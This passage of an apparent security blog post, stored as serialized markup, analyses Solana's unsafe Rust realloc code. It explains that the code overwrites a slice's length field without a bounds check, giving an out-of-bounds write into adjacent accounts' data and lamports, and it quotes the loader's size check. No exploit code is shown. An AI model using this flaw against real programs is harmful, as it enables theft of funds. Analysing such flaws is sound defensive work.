Err",{"type":23,"tag":134,"props":15221,"children":15222},{"style":179},[15223],{"type":28,"value":272},{"type":23,"tag":134,"props":15225,"children":15226},{"style":597},[15227],{"type":28,"value":15228},"InstructionError",{"type":23,"tag":134,"props":15230,"children":15231},{"style":168},[15232],{"type":28,"value":660},{"type":23,"tag":134,"props":15234,"children":15235},{"style":597},[15236],{"type":28,"value":15237},"ExecutableDataModified",{"type":23,"tag":134,"props":15239,"children":15240},{"style":179},[15241],{"type":28,"value":1021},{"type":23,"tag":134,"props":15243,"children":15244},{"class":136,"line":527},[15245,15250,15254,15259,15263],{"type":23,"tag":134,"props":15246,"children":15247},{"style":179},[15248],{"type":28,"value":15249},"    } ",{"type":23,"tag":134,"props":15251,"children":15252},{"style":189},[15253],{"type":28,"value":490},{"type":23,"tag":134,"props":15255,"children":15256},{"style":189},[15257],{"type":28,"value":15258}," if",{"type":23,"tag":134,"props":15260,"children":15261},{"style":162},[15262],{"type":28,"value":15096},{"type":23,"tag":134,"props":15264,"children":15265},{"style":179},[15266],{"type":28,"value":463},{"type":23,"tag":134,"props":15268,"children":15269},{"class":136,"line":780},[15270,15274,15278,15282,15286,15290,15295],{"type":23,"tag":134,"props":15271,"children":15272},{"style":189},[15273],{"type":28,"value":15214},{"type":23,"tag":134,"props":15275,"children":15276},{"style":597},[15277],{"type":28,"value":15219},{"type":23,"tag":134,"props":15279,"children":15280},{"style":179},[15281],{"type":28,"value":272},{"type":23,"tag":134,"props":15283,"children":15284},{"style":597},[15285],{"type":28,"value":15228},{"type":23,"tag":134,"props":15287,"children":15288},{"style":168},[15289],{"type":28,"value":660},{"type":23,"tag":134,"props":15291,"children":15292},{"style":597},[15293],{"type":28,"value":15294},"ExternalAccountDataModified",{"type":23,"tag":134,"props":15296,"children":15297},{"style":179},[15298],{"type":28,"value":1021},{"type":23,"tag":134,"props":15300,"children":15301},{"class":136,"line":797},[15302,15306,15310],{"type":23,"tag":134,"props":15303,"children":15304},{"style":179},[15305],{"type":28,"value":15249},{"type":23,"tag":134,"props":15307,"children":15308},{"style":189},[15309],{"type":28,"value":490},{"type":23,"tag":134,"props":15311,"children":15312},{"style":179},[15313],{"type":28,"value":463},{"type":23,"tag":134,"props":15315,"children":15316},{"class":136,"line":814},[15317,15321,15325,15329,15333,15337,15342],{"type":23,"tag":134,"props":15318,"children":15319},{"style":189},[15320],{"type":28,"value":15214},{"type":23,"tag":134,"props":15322,"children":15323},{"style":597},[15324],{"type":28,"value":15219},{"type":23,"tag":134,"props":15326,"children":15327},{"style":179},[15328],{"type":28,"value":272},{"type":23,"tag":134,"props":15330,"children":15331},{"style":597},[15332],{"type":28,"value":15228},{"type":23,"tag":134,"props":15334,"children":15335},{"style":168},[15336],{"type":28,"value":660},{"type":23,"tag":134,"props":15338,"children":15339},{"style":597},[15340],{"type":28,"value":15341},"ReadonlyDataModified",{"type":23,"tag":134,"props":15343,"children":15344},{"style":179},[15345],{"type":28,"value":1021},{"type":23,"tag":134,"props":15347,"children":15348},{"class":136,"line":827},[15349],{"type":23,"tag":134,"props":15350,"children":15351},{"style":179},[15352],{"type":28,"value":533},{"type":23,"tag":134,"props":15354,"children":15355},{"class":136,"line":836},[15356],{"type":23,"tag":134,"props":15357,"children":15358},{"style":179},[15359],{"type":28,"value":1098},{"type":23,"tag":9072,"props":15361,"children":15363},{"id":15362},"back-to-realloc",[15364,15366],{"type":28,"value":15365},"Back to ",{"type":23,"tag":92,"props":15367,"children":15369},{"className":15368},[],[15370],{"type":28,"value":13106},{"type":23,"tag":24,"props":15372,"children":15373},{},[15374],{"type":28,"value":15375},"As a reminder, this is what we were looking at before that detour:",{"type":23,"tag":87,"props":15377,"children":15378},{"className":128,"code":13859,"language":127,"meta":7,"style":7},[15379],{"type":23,"tag":92,"props":15380,"children":15381},{"__ignoreMap":7},[15382,15389,15476],{"type":23,"tag":134,"props":15383,"children":15384},{"class":136,"line":137},[15385],{"type":23,"tag":134,"props":15386,"children":15387},{"style":141},[15388],{"type":28,"value":13871},{"type":23,"tag":134,"props":15390,"children":15391},{"class":136,"line":147},[15392,15396,15400,15404,15408,15412,15416,15420,15424,15428,15432,15436,15440,15444,15448,15452,15456,15460,15464,15468,15472],{"type":23,"tag":134,"props":15393,"children":15394},{"style":151},[15395],{"type":28,"value":11254},{"type":23,"tag":134,"props":15397,"children":15398},{"style":162},[15399],{"type":28,"value":13325},{"type":23,"tag":134,"props":15401,"children":15402},{"style":168},[15403],{"type":28,"value":171},{"type":23,"tag":134,"props":15405,"children":15406},{"style":151},[15407],{"type":28,"value":13265},{"type":23,"tag":134,"props":15409,"children":15410},{"style":168},[15411],{"type":28,"value":720},{"type":23,"tag":134,"props":15413,"children":15414},{"style":264},[15415],{"type":28,"value":13342},{"type":23,"tag":134,"props":15417,"children":15418},{"style":179},[15419],{"type":28,"value":13347},{"type":23,"tag":134,"props":15421,"children":15422},{"style":168},[15423],{"type":28,"value":301},{"type":23,"tag":134,"props":15425,"children":15426},{"style":264},[15427],{"type":28,"value":13356},{"type":23,"tag":134,"props":15429,"children":15430},{"style":179},[15431],{"type":28,"value":13347},{"type":23,"tag":134,"props":15433,"children":15434},{"style":168},[15435],{"type":28,"value":720},{"type":23,"tag":134,"props":15437,"children":15438},{"style":264},[15439],{"type":28,"value":13369},{"type":23,"tag":134,"props":15441,"children":15442},{"style":179},[15443],{"type":28,"value":272},{"type":23,"tag":134,"props":15445,"children":15446},{"style":168},[15447],{"type":28,"value":1532},{"type":23,"tag":134,"props":15449,"children":15450},{"style":205},[15451],{"type":28,"value":1278},{"type":23,"tag":134,"props":15453,"children":15454},{"style":179},[15455],{"type":28,"value":252},{"type":23,"tag":134,"props":15457,"children":15458},{"style":151},[15459],{"type":28,"value":8302},{"type":23,"tag":134,"props":15461,"children":15462},{"style":168},[15463],{"type":28,"value":9281},{"type":23,"tag":134,"props":15465,"children":15466},{"style":151},[15467],{"type":28,"value":914},{"type":23,"tag":134,"props":15469,"children":15470},{"style":597},[15471],{"type":28,"value":5316},{"type":23,"tag":134,"props":15473,"children":15474},{"style":179},[15475],{"type":28,"value":182},{"type":23,"tag":134,"props":15477,"children":15478},{"class":136,"line":185},[15479,15483,15487,15491,15495,15499,15503],{"type":23,"tag":134,"props":15480,"children":15481},{"style":168},[15482],{"type":28,"value":1777},{"type":23,"tag":134,"props":15484,"children":15485},{"style":162},[15486],{"type":28,"value":13417},{"type":23,"tag":134,"props":15488,"children":15489},{"style":168},[15490],{"type":28,"value":171},{"type":23,"tag":134,"props":15492,"children":15493},{"style":162},[15494],{"type":28,"value":13426},{"type":23,"tag":134,"props":15496,"children":15497},{"style":151},[15498],{"type":28,"value":8288},{"type":23,"tag":134,"props":15500,"children":15501},{"style":597},[15502],{"type":28,"value":5316},{"type":23,"tag":134,"props":15504,"children":15505},{"style":179},[15506],{"type":28,"value":182},{"type":23,"tag":24,"props":15508,"children":15509},{},[15510,15515,15517,15522,15524,15529,15531,15542,15544,15549,15551,15556],{"type":23,"tag":92,"props":15511,"children":15513},{"className":15512},[],[15514],{"type":28,"value":13342},{"type":28,"value":15516}," gives us the ",{"type":23,"tag":92,"props":15518,"children":15520},{"className":15519},[],[15521],{"type":28,"value":14932},{"type":28,"value":15523}," from the ",{"type":23,"tag":92,"props":15525,"children":15527},{"className":15526},[],[15528],{"type":28,"value":14806},{"type":28,"value":15530},", whose data is inside the serialized buffer and immediately after the size of the data inside the serialized buffer. And ",{"type":23,"tag":31,"props":15532,"children":15535},{"href":15533,"rel":15534},"https://doc.rust-lang.org/std/primitive.slice.html#method.as_mut_ptr",[35],[15536],{"type":23,"tag":92,"props":15537,"children":15539},{"className":15538},[],[15540],{"type":28,"value":15541},"slice::as_mut_ptr()",{"type":28,"value":15543}," gives us that data pointer directly. So, this code computes a pointer to that serialized size field (8 bytes - the size of a ",{"type":23,"tag":92,"props":15545,"children":15547},{"className":15546},[],[15548],{"type":28,"value":7501},{"type":28,"value":15550}," - behind the data buffer), and then writes ",{"type":23,"tag":92,"props":15552,"children":15554},{"className":15553},[],[15555],{"type":28,"value":13190},{"type":28,"value":15557}," to it.",{"type":23,"tag":24,"props":15559,"children":15560},{},[15561,15563,15575,15577,15583],{"type":28,"value":15562},"This is reasonable... ",{"type":23,"tag":55,"props":15564,"children":15565},{},[15566,15568,15573],{"type":28,"value":15567},"as long as the ",{"type":23,"tag":92,"props":15569,"children":15571},{"className":15570},[],[15572],{"type":28,"value":892},{"type":28,"value":15574}," actually came from the serialized buffer",{"type":28,"value":15576},". We'll come back to this ",{"type":23,"tag":31,"props":15578,"children":15580},{"href":15579},"#Not-contracts",[15581],{"type":28,"value":15582},"later",{"type":28,"value":720},{"type":23,"tag":24,"props":15585,"children":15586},{},[15587,15589,15594],{"type":28,"value":15588},"At this point we've updated the serialized buffer, so at exit the runtime will understand that the size of the account's data buffer has changed. However, we haven't dealt with the Rust side yet. Slices have a length, and we haven't dealt with the ",{"type":23,"tag":92,"props":15590,"children":15592},{"className":15591},[],[15593],{"type":28,"value":14932},{"type":28,"value":15595}," slice that is our view into the data from the Rust world. So let's look at the next chunk:",{"type":23,"tag":87,"props":15597,"children":15599},{"className":128,"code":15598,"language":127,"meta":7,"style":7},"// Then set the new length in the local slice\nlet ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n*ptr = new_len as u64;\n",[15600],{"type":23,"tag":92,"props":15601,"children":15602},{"__ignoreMap":7},[15603,15611,15738],{"type":23,"tag":134,"props":15604,"children":15605},{"class":136,"line":137},[15606],{"type":23,"tag":134,"props":15607,"children":15608},{"style":141},[15609],{"type":28,"value":15610},"// Then set the new length in the local slice\n",{"type":23,"tag":134,"props":15612,"children":15613},{"class":136,"line":147},[15614,15618,15622,15626,15630,15634,15638,15642,15646,15650,15654,15658,15662,15666,15670,15674,15678,15682,15686,15690,15694,15698,15702,15706,15710,15714,15718,15722,15726,15730,15734],{"type":23,"tag":134,"props":15615,"children":15616},{"style":151},[15617],{"type":28,"value":11254},{"type":23,"tag":134,"props":15619,"children":15620},{"style":162},[15621],{"type":28,"value":13325},{"type":23,"tag":134,"props":15623,"children":15624},{"style":168},[15625],{"type":28,"value":171},{"type":23,"tag":134,"props":15627,"children":15628},{"style":168},[15629],{"type":28,"value":6599},{"type":23,"tag":134,"props":15631,"children":15632},{"style":151},[15633],{"type":28,"value":914},{"type":23,"tag":134,"props":15635,"children":15636},{"style":168},[15637],{"type":28,"value":9281},{"type":23,"tag":134,"props":15639,"children":15640},{"style":179},[15641],{"type":28,"value":13485},{"type":23,"tag":134,"props":15643,"children":15644},{"style":151},[15645],{"type":28,"value":13181},{"type":23,"tag":134,"props":15647,"children":15648},{"style":168},[15649],{"type":28,"value":720},{"type":23,"tag":134,"props":15651,"children":15652},{"style":179},[15653],{"type":28,"value":892},{"type":23,"tag":134,"props":15655,"children":15656},{"style":168},[15657],{"type":28,"value":720},{"type":23,"tag":134,"props":15659,"children":15660},{"style":264},[15661],{"type":28,"value":13506},{"type":23,"tag":134,"props":15663,"children":15664},{"style":179},[15665],{"type":28,"value":13511},{"type":23,"tag":134,"props":15667,"children":15668},{"style":151},[15669],{"type":28,"value":8302},{"type":23,"tag":134,"props":15671,"children":15672},{"style":168},[15673],{"type":28,"value":9281},{"type":23,"tag":134,"props":15675,"children":15676},{"style":151},[15677],{"type":28,"value":9119},{"type":23,"tag":134,"props":15679,"children":15680},{"style":597},[15681],{"type":28,"value":5316},{"type":23,"tag":134,"props":15683,"children":15684},{"style":179},[15685],{"type":28,"value":296},{"type":23,"tag":134,"props":15687,"children":15688},{"style":168},[15689],{"type":28,"value":720},{"type":23,"tag":134,"props":15691,"children":15692},{"style":264},[15693],{"type":28,"value":13369},{"type":23,"tag":134,"props":15695,"children":15696},{"style":179},[15697],{"type":28,"value":272},{"type":23,"tag":134,"props":15699,"children":15700},{"style":205},[15701],{"type":28,"value":1214},{"type":23,"tag":134,"props":15703,"children":15704},{"style":179},[15705],{"type":28,"value":252},{"type":23,"tag":134,"props":15707,"children":15708},{"style":151},[15709],{"type":28,"value":8302},{"type":23,"tag":134,"props":15711,"children":15712},{"style":597},[15713],{"type":28,"value":5316},{"type":23,"tag":134,"props":15715,"children":15716},{"style":179},[15717],{"type":28,"value":252},{"type":23,"tag":134,"props":15719,"children":15720},{"style":151},[15721],{"type":28,"value":8302},{"type":23,"tag":134,"props":15723,"children":15724},{"style":168},[15725],{"type":28,"value":9281},{"type":23,"tag":134,"props":15727,"children":15728},{"style":151},[15729],{"type":28,"value":914},{"type":23,"tag":134,"props":15731,"children":15732},{"style":597},[15733],{"type":28,"value":5316},{"type":23,"tag":134,"props":15735,"children":15736},{"style":179},[15737],{"type":28,"value":1021},{"type":23,"tag":134,"props":15739,"children":15740},{"class":136,"line":185},[15741,15745,15749,15753,15757,15761,15765],{"type":23,"tag":134,"props":15742,"children":15743},{"style":168},[15744],{"type":28,"value":1777},{"type":23,"tag":134,"props":15746,"children":15747},{"style":162},[15748],{"type":28,"value":13417},{"type":23,"tag":134,"props":15750,"children":15751},{"style":168},[15752],{"type":28,"value":171},{"type":23,"tag":134,"props":15754,"children":15755},{"style":162},[15756],{"type":28,"value":13426},{"type":23,"tag":134,"props":15758,"children":15759},{"style":151},[15760],{"type":28,"value":8288},{"type":23,"tag":134,"props":15762,"children":15763},{"style":597},[15764],{"type":28,"value":5316},{"type":23,"tag":134,"props":15766,"children":15767},{"style":179},[15768],{"type":28,"value":182},{"type":23,"tag":24,"props":15770,"children":15771},{},[15772,15774,15780,15782,15793,15795,15801,15803,15809,15811,15816,15818,15823,15825,15835,15836,15843,15844,15851,15858,15860,15866,15868,15874,15876,15881,15883,15888,15890,15896,15898,15903],{"type":28,"value":15773},"That ",{"type":23,"tag":92,"props":15775,"children":15777},{"className":15776},[],[15778],{"type":28,"value":15779},"as_ptr()",{"type":28,"value":15781}," call is ",{"type":23,"tag":31,"props":15783,"children":15786},{"href":15784,"rel":15785},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.as_ptr",[35],[15787],{"type":23,"tag":92,"props":15788,"children":15790},{"className":15789},[],[15791],{"type":28,"value":15792},"RefCell::as_ptr()",{"type":28,"value":15794}," due to the ",{"type":23,"tag":92,"props":15796,"children":15798},{"className":15797},[],[15799],{"type":28,"value":15800},"Deref",{"type":28,"value":15802}," impl on ",{"type":23,"tag":92,"props":15804,"children":15806},{"className":15805},[],[15807],{"type":28,"value":15808},"Rc",{"type":28,"value":15810}," (remember also that ",{"type":23,"tag":92,"props":15812,"children":15814},{"className":15813},[],[15815],{"type":28,"value":14973},{"type":28,"value":15817}," itself doesn't behave like a reference, you need to actually ",{"type":23,"tag":55,"props":15819,"children":15820},{},[15821],{"type":28,"value":15822},"get",{"type":28,"value":15824}," one through ",{"type":23,"tag":31,"props":15826,"children":15829},{"href":15827,"rel":15828},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.borrow",[35],[15830],{"type":23,"tag":92,"props":15831,"children":15833},{"className":15832},[],[15834],{"type":28,"value":8262},{"type":28,"value":5915},{"type":23,"tag":31,"props":15837,"children":15840},{"href":15838,"rel":15839},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.borrow_mut",[35],[15841],{"type":28,"value":15842},"and",{"type":28,"value":5915},{"type":23,"tag":31,"props":15845,"children":15848},{"href":15846,"rel":15847},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.try_borrow",[35],[15849],{"type":28,"value":15850},"frie",{"type":23,"tag":31,"props":15852,"children":15855},{"href":15853,"rel":15854},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.try_borrow_mut",[35],[15856],{"type":28,"value":15857},"nds",{"type":28,"value":15859},"). So from ",{"type":23,"tag":92,"props":15861,"children":15863},{"className":15862},[],[15864],{"type":28,"value":15865},"RefCell::\u003C&mut [u8]>::as_mut()",{"type":28,"value":15867}," we get a ",{"type":23,"tag":92,"props":15869,"children":15871},{"className":15870},[],[15872],{"type":28,"value":15873},"*mut &mut [u8]",{"type":28,"value":15875}," - a ",{"type":23,"tag":55,"props":15877,"children":15878},{},[15879],{"type":28,"value":15880},"pointer",{"type":28,"value":15882}," to the ",{"type":23,"tag":55,"props":15884,"children":15885},{},[15886],{"type":28,"value":15887},"slice reference",{"type":28,"value":15889},". From here, we turn the pointer into a ",{"type":23,"tag":92,"props":15891,"children":15893},{"className":15892},[],[15894],{"type":28,"value":15895},"*const u64",{"type":28,"value":15897}," pointer and then offset by 1 ",{"type":23,"tag":92,"props":15899,"children":15901},{"className":15900},[],[15902],{"type":28,"value":7501},{"type":28,"value":15904}," (so 8 bytes). Finally, we switch the pointer back to being mutable, and write the new length to it.",{"type":23,"tag":24,"props":15906,"children":15907},{},[15908,15910,15915,15917,15922,15924,15929,15931,15936,15938,15944],{"type":28,"value":15909},"Now, if you're sitting here thinking that this is unnecessarily convoluted and confusing, you'd be right! But we'll get back to that ",{"type":23,"tag":31,"props":15911,"children":15913},{"href":15912},"#Towards-safer-unsafe",[15914],{"type":28,"value":15582},{"type":28,"value":15916}," too, I promise. In summary, we're writing the new length as a ",{"type":23,"tag":92,"props":15918,"children":15920},{"className":15919},[],[15921],{"type":28,"value":7501},{"type":28,"value":15923}," to the region starting 8 bytes from the start of the slice ",{"type":23,"tag":55,"props":15925,"children":15926},{},[15927],{"type":28,"value":15928},"reference",{"type":28,"value":15930}," (the ",{"type":23,"tag":92,"props":15932,"children":15934},{"className":15933},[],[15935],{"type":28,"value":14932},{"type":28,"value":15937},").So, what does ",{"type":23,"tag":92,"props":15939,"children":15941},{"className":15940},[],[15942],{"type":28,"value":15943},"&[T]",{"type":28,"value":15945}," look like in Rust?",{"type":23,"tag":24,"props":15947,"children":15948},{},[15949,15951,15958,15960,15973,15975,15981],{"type":28,"value":15950},"According to ",{"type":23,"tag":31,"props":15952,"children":15955},{"href":15953,"rel":15954},"https://doc.rust-lang.org/reference/type-layout.html#pointers-and-references-layout",[35],[15956],{"type":28,"value":15957},"the reference",{"type":28,"value":15959},", it's completely undefined - there are no guarantees made in the reference, and ",{"type":23,"tag":31,"props":15961,"children":15964},{"href":15962,"rel":15963},"https://doc.rust-lang.org/reference/type-layout.html",[35],[15965,15967,15971],{"type":28,"value":15966},"\"Type layout can be changed with each compilation. ",{"type":23,"tag":134,"props":15968,"children":15969},{},[15970],{"type":28,"value":9054},{"type":28,"value":15972}," we only document what is guaranteed today\"",{"type":28,"value":15974},". But it seems like those pesky language specs aren't stopping Solana developers. In current ",{"type":23,"tag":92,"props":15976,"children":15978},{"className":15977},[],[15979],{"type":28,"value":15980},"rustc",{"type":28,"value":15982},", the layout is a data pointer followed by the size; essentially the same as:",{"type":23,"tag":87,"props":15984,"children":15987},{"className":15985,"code":15986,"language":315,"meta":7,"style":7},"language-c shiki shiki-themes slack-dark","// C language\nstruct slice_ref {\n    void* ptr;\n    size_t len;\n};\n",[15988],{"type":23,"tag":92,"props":15989,"children":15990},{"__ignoreMap":7},[15991,15999,16011,16028,16041],{"type":23,"tag":134,"props":15992,"children":15993},{"class":136,"line":137},[15994],{"type":23,"tag":134,"props":15995,"children":15996},{"style":141},[15997],{"type":28,"value":15998},"// C language\n",{"type":23,"tag":134,"props":16000,"children":16001},{"class":136,"line":147},[16002,16006],{"type":23,"tag":134,"props":16003,"children":16004},{"style":151},[16005],{"type":28,"value":8864},{"type":23,"tag":134,"props":16007,"children":16008},{"style":179},[16009],{"type":28,"value":16010}," slice_ref {\n",{"type":23,"tag":134,"props":16012,"children":16013},{"class":136,"line":185},[16014,16019,16023],{"type":23,"tag":134,"props":16015,"children":16016},{"style":151},[16017],{"type":28,"value":16018},"    void",{"type":23,"tag":134,"props":16020,"children":16021},{"style":168},[16022],{"type":28,"value":1777},{"type":23,"tag":134,"props":16024,"children":16025},{"style":179},[16026],{"type":28,"value":16027}," ptr;\n",{"type":23,"tag":134,"props":16029,"children":16030},{"class":136,"line":221},[16031,16036],{"type":23,"tag":134,"props":16032,"children":16033},{"style":151},[16034],{"type":28,"value":16035},"    size_t",{"type":23,"tag":134,"props":16037,"children":16038},{"style":179},[16039],{"type":28,"value":16040}," len;\n",{"type":23,"tag":134,"props":16042,"children":16043},{"class":136,"line":332},[16044],{"type":23,"tag":134,"props":16045,"children":16046},{"style":179},[16047],{"type":28,"value":16048},"};\n",{"type":23,"tag":24,"props":16050,"children":16051},{},[16052],{"type":28,"value":16053},"So at the end of the day we find out that the code is simply writing over the length field in the slice reference. Let's step back a moment and take a look at all the assumptions we made along the way while executing these 2 lines (really only one of importance!):",{"type":23,"tag":4890,"props":16055,"children":16056},{},[16057,16062,16080],{"type":23,"tag":4894,"props":16058,"children":16059},{},[16060],{"type":28,"value":16061},"Slices are laid out in the precise manner described",{"type":23,"tag":4894,"props":16063,"children":16064},{},[16065,16067,16073,16075],{"type":28,"value":16066},"Pointers and ",{"type":23,"tag":92,"props":16068,"children":16070},{"className":16069},[],[16071],{"type":28,"value":16072},"usize",{"type":28,"value":16074}," are the same width as ",{"type":23,"tag":92,"props":16076,"children":16078},{"className":16077},[],[16079],{"type":28,"value":7501},{"type":23,"tag":4894,"props":16081,"children":16082},{},[16083,16085,16090],{"type":28,"value":16084},"The ",{"type":23,"tag":92,"props":16086,"children":16088},{"className":16087},[],[16089],{"type":28,"value":14973},{"type":28,"value":16091}," was not borrowed (i.e. we didn't just mutate it while someone else has a reference to its contents)",{"type":23,"tag":24,"props":16093,"children":16094},{},[16095,16097,16102,16104,16110,16112,16117,16119,16125,16127,16132,16134,16144],{"type":28,"value":16096},"Assumption #2 is ",{"type":23,"tag":55,"props":16098,"children":16099},{},[16100],{"type":28,"value":16101},"probably",{"type":28,"value":16103}," fine when we only care about targeting Solana's bytecode machine, but still not a particularly safe assumption to make in case some change happens on the toolchain. And assumption #3 turns out to be a non-issue since we had just done a ",{"type":23,"tag":92,"props":16105,"children":16107},{"className":16106},[],[16108],{"type":28,"value":16109},"borrow_mut",{"type":28,"value":16111}," of the ",{"type":23,"tag":92,"props":16113,"children":16115},{"className":16114},[],[16116],{"type":28,"value":14973},{"type":28,"value":16118}," (through ",{"type":23,"tag":92,"props":16120,"children":16122},{"className":16121},[],[16123],{"type":28,"value":16124},"AccountInfo::try_borrow_mut_data()",{"type":28,"value":16126},"), and ",{"type":23,"tag":92,"props":16128,"children":16130},{"className":16129},[],[16131],{"type":28,"value":14973},{"type":28,"value":16133}," is not usable between multiple threads",{"type":23,"tag":14943,"props":16135,"children":16136},{},[16137],{"type":23,"tag":31,"props":16138,"children":16142},{"href":16139,"ariaDescribedBy":16140,"dataFootnoteRef":7,"id":16141},"#user-content-fn-sendsync",[14950],"user-content-fnref-sendsync",[16143],{"type":28,"value":291},{"type":28,"value":16145},", so we already have exclusive access.",{"type":23,"tag":24,"props":16147,"children":16148},{},[16149,16151,16155],{"type":28,"value":16150},"A few more ",{"type":23,"tag":55,"props":16152,"children":16153},{},[16154],{"type":28,"value":6565},{"type":28,"value":16156}," things of note, that could have gone badly but didn't:",{"type":23,"tag":16158,"props":16159,"children":16160},"ul",{},[16161,16203],{"type":23,"tag":4894,"props":16162,"children":16163},{},[16164,16166,16172,16174,16179,16181,16186,16188,16193,16195,16201],{"type":28,"value":16165},"By reborrowing the pointer (the ",{"type":23,"tag":92,"props":16167,"children":16169},{"className":16168},[],[16170],{"type":28,"value":16171},"&mut *(\u003Cvalue of type *mut u64>)",{"type":28,"value":16173},"), we've created a reference with an ",{"type":23,"tag":55,"props":16175,"children":16176},{},[16177],{"type":28,"value":16178},"unbounded lifetime",{"type":28,"value":16180},". Rust is free to infer ",{"type":23,"tag":55,"props":16182,"children":16183},{},[16184],{"type":28,"value":16185},"any",{"type":28,"value":16187}," lifetime for ",{"type":23,"tag":92,"props":16189,"children":16191},{"className":16190},[],[16192],{"type":28,"value":13417},{"type":28,"value":16194}," (including ",{"type":23,"tag":92,"props":16196,"children":16198},{"className":16197},[],[16199],{"type":28,"value":16200},"'static",{"type":28,"value":16202},"); thankfully it's only used in the next statement and never has a chance to escape.",{"type":23,"tag":4894,"props":16204,"children":16205},{},[16206,16208,16214,16216,16221,16223,16228,16230,16235,16237,16242,16244,16249,16251,16256,16258,16264,16266,16271,16273,16278,16280,16285,16287,16292,16294,16299],{"type":28,"value":16207},"Going back to the first statement when we were modifying the data buffer, it turns out we have another lifetime problem: we created a mutable pointer to the data from the ",{"type":23,"tag":92,"props":16209,"children":16211},{"className":16210},[],[16212],{"type":28,"value":16213},"RefMut",{"type":28,"value":16215}," returned from ",{"type":23,"tag":92,"props":16217,"children":16219},{"className":16218},[],[16220],{"type":28,"value":13342},{"type":28,"value":16222},", but the ",{"type":23,"tag":92,"props":16224,"children":16226},{"className":16225},[],[16227],{"type":28,"value":16213},{"type":28,"value":16229}," is dropped at the end of the statement. So, we now have in ",{"type":23,"tag":92,"props":16231,"children":16233},{"className":16232},[],[16234],{"type":28,"value":13417},{"type":28,"value":16236}," a ",{"type":23,"tag":55,"props":16238,"children":16239},{},[16240],{"type":28,"value":16241},"mutable",{"type":28,"value":16243}," pointer to the ",{"type":23,"tag":92,"props":16245,"children":16247},{"className":16246},[],[16248],{"type":28,"value":14973},{"type":28,"value":16250},"'s data, but the ",{"type":23,"tag":92,"props":16252,"children":16254},{"className":16253},[],[16255],{"type":28,"value":14973},{"type":28,"value":16257}," thinks that we're done with our borrow. If we happened to be in a multithreaded scenario with something like a ",{"type":23,"tag":92,"props":16259,"children":16261},{"className":16260},[],[16262],{"type":28,"value":16263},"Mutex",{"type":28,"value":16265}," instead of a ",{"type":23,"tag":92,"props":16267,"children":16269},{"className":16268},[],[16270],{"type":28,"value":14973},{"type":28,"value":16272}," (but with otherwise semantically identical code), then a different thread could attempt to borrow between creating ",{"type":23,"tag":92,"props":16274,"children":16276},{"className":16275},[],[16277],{"type":28,"value":13417},{"type":28,"value":16279}," and writing to it ",{"type":23,"tag":55,"props":16281,"children":16282},{},[16283],{"type":28,"value":16284},"and succeed",{"type":28,"value":16286},", resulting in us writing while another reference is alive. However, since ",{"type":23,"tag":92,"props":16288,"children":16290},{"className":16289},[],[16291],{"type":28,"value":13417},{"type":28,"value":16293}," is behind the actual data and thus the region it points to is inaccessible through the ",{"type":23,"tag":92,"props":16295,"children":16297},{"className":16296},[],[16298],{"type":28,"value":892},{"type":28,"value":16300}," slice, this is still not a problem. I just wanted to highlight how easy it is to mess up borrowing and lifetimes when writing unsafe code.",{"type":23,"tag":24,"props":16302,"children":16303},{},[16304,16306,16311],{"type":28,"value":16305},"Ok, now that we've understood what the code is ",{"type":23,"tag":55,"props":16307,"children":16308},{},[16309],{"type":28,"value":16310},"trying",{"type":28,"value":16312}," to do, let's try to break it, shall we?",{"type":23,"tag":61,"props":16314,"children":16316},{"id":16315},"what-can-go-wrong",[16317],{"type":28,"value":16318},"What can go wrong?",{"type":23,"tag":9072,"props":16320,"children":16322},{"id":16321},"contracts",[16323],{"type":28,"value":16324},"Contracts",{"type":23,"tag":24,"props":16326,"children":16327},{},[16328,16330,16335,16337,16342,16344,16349,16351,16356],{"type":28,"value":16329},"Again, it's quite conspicuous that there's no bounds check whatsoever, and additionally, we notice that at no point did we actually touch the data pointer of the slice reference when ",{"type":23,"tag":92,"props":16331,"children":16333},{"className":16332},[],[16334],{"type":28,"value":13106},{"type":28,"value":16336},"'ing. In other words, when we realloc, all we do is change some size fields, no allocation is happening. So, if we ",{"type":23,"tag":92,"props":16338,"children":16340},{"className":16339},[],[16341],{"type":28,"value":13106},{"type":28,"value":16343}," to some large size, past the end of the buffer of roughly ",{"type":23,"tag":92,"props":16345,"children":16347},{"className":16346},[],[16348],{"type":28,"value":14762},{"type":28,"value":16350}," bytes in the serialized buffer from the BPF loader, then we've got free out-of-bounds memory write! Using the ",{"type":23,"tag":92,"props":16352,"children":16354},{"className":16353},[],[16355],{"type":28,"value":892},{"type":28,"value":16357}," slice, we can write to anything \"after\" our account's data in memory. Other accounts' data are stored adjacent in memory, so it'd be pretty easy to modify the data or lamports. And remember, sizes and indices are unsigned, so what's \"behind\" our account in memory is actually just very far \"after\" our account - the address will wrap around the end of the address space.",{"type":23,"tag":24,"props":16359,"children":16360},{},[16361,16363,16370],{"type":28,"value":16362},"There is ",{"type":23,"tag":31,"props":16364,"children":16367},{"href":16365,"rel":16366},"https://github.com/solana-labs/solana/blob/94685e1222b3289859a447d62fadea20898241e0/programs/bpf_loader/src/serialization.rs#L324-L328",[35],[16368],{"type":28,"value":16369},"a check",{"type":28,"value":16371}," by the BPF loader, however, and it boils down to:",{"type":23,"tag":87,"props":16373,"children":16375},{"className":128,"code":16374,"language":127,"meta":7,"style":7},"if post_len.saturating_sub(*pre_len) > MAX_PERMITTED_DATA_INCREASE\n    || post_len > MAX_PERMITTED_DATA_LENGTH as usize\n{\n    return Err(InstructionError::InvalidRealloc);\n}\n",[16376],{"type":23,"tag":92,"props":16377,"children":16378},{"__ignoreMap":7},[16379,16417,16447,16454,16487],{"type":23,"tag":134,"props":16380,"children":16381},{"class":136,"line":137},[16382,16386,16391,16395,16399,16403,16407,16412],{"type":23,"tag":134,"props":16383,"children":16384},{"style":189},[16385],{"type":28,"value":15049},{"type":23,"tag":134,"props":16387,"children":16388},{"style":162},[16389],{"type":28,"value":16390}," 